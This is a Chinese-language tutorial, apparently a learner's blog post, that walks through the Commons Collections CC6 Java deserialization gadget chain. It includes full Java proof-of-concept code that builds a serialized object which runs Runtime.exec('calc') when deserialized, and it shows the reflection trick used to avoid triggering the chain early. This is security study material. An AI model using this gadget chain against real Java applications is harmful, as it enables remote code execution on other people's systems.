一、前言

前面的文章分析了CC1那条TransformMap()那条链

但是官方的链子不是这个,这里我就不写文章了,下面是CC1和CC6的流程图

这里简单的说明一下这个CC6,CC6的尾部和CC1是差不多的,就是前面的不太一样

总结一下就是CC1+URLDNS这条链(原先学这个URLDNS这条链子的时候不是很明白,现在明白了)

而且这个CC6这个链子是不限制jdk版本的,也不限制cc版本(被誉为最好用的CC链)

二、环境搭建

这个环境就用3.2.1的吧,jdk版本就用1.8

三、CC6链子分析

这个链子在前言部分就已经说了就是CC1+URLDNS

后半部分就是通过LazyMap这个类的get方法触发ChainedTransformer的transform,之后就一样的

1、寻找链子

根据之前的思路,那我们就要找谁调用了这个get 方法,然后接着找前面的链子,最后找到哪个类的readObjiect方法

现在我们就先来找一下这个get方法

我们看到,这个get方法的调用有两千多条,这里的话,肯定是能找到的,但是我们就不找了实在是太多了

这里我们就直接说结论,我们找到的是TiedMapEntry下面的get方法

而且这个TiedMapEntry还是一个public

我们接着看一下谁调用了这个getValue方法,我们找到在同类下有一个hashCode方法调用了这个getValue

我们先看一下能不能调出计算器,这个类接收两个参数,一个是Map,一个是Objiect

public class Main {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazymap = LazyMap.decorate(map,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"a");
        tiedMapEntry.hashCode();
}

成功调出来了计算器

接下来我们要看一下这个hashCode是谁调用的

我们结合着这个URLDNS这条链很容易想到,我们可以通过HashCode来调用到这里的hashCode方法

public class Main {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazymap = LazyMap.decorate(map,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"a");
        Map<Object,Object> map1 = new HashMap<>();
        map1.put(tiedMapEntry,"1");
}

这里我们发现还没序列化的时候就触发了计算器

2、解决问题

这里面我的idea有问题调试不了

如果了解那个dns那条链就知道为什么在序列化的时候就会触发这个DNS请求了

这个也是一样的,在我们序列化的时候就触发了计算器,那么我们的数据根本没有序列化存储,当然我们反序列化的时候也不会调出计算器

所以有一种方法就是,在序列化的时候我们不存储那个数据,在走完之后我们用反射来修改其属性,达到我们的目的,这样在序列化的时候

就不会有数据的丢失

这里我们修改LazyMap里面的属性

我们点进去看一下

这里是这个factory这个属性,我们看一下这个属性

是受保护的,我们这里只能采用反射的方法来修改属性值了

这里的factory是Transformer的,我们可以用CC1的那个new ConstantTransformer()来随便返回一个

这里我们就断了我们的链子,到下面的时候,我们在修改我们的这个factory属性值,拼上我们的chainedTransformer

这样就完成了,我们试一下序列化一下,反序列化一下

发现没有弹计算器

这里我们还要把原先废的链子移除

之后就可以了

public class Main {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer("1"));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"a");
        Map<Object,Object> map1 = new HashMap<>();
        map1.put(tiedMapEntry,"aa");
        map.remove("a");


        Class c = LazyMap.class;
        Field field = c.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(lazymap,chainedTransformer);
        serialize(map1);
        unserialize("ser.bin");
        

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

三、总结

这条链子如果前面都弄清楚了就很简单,理解起来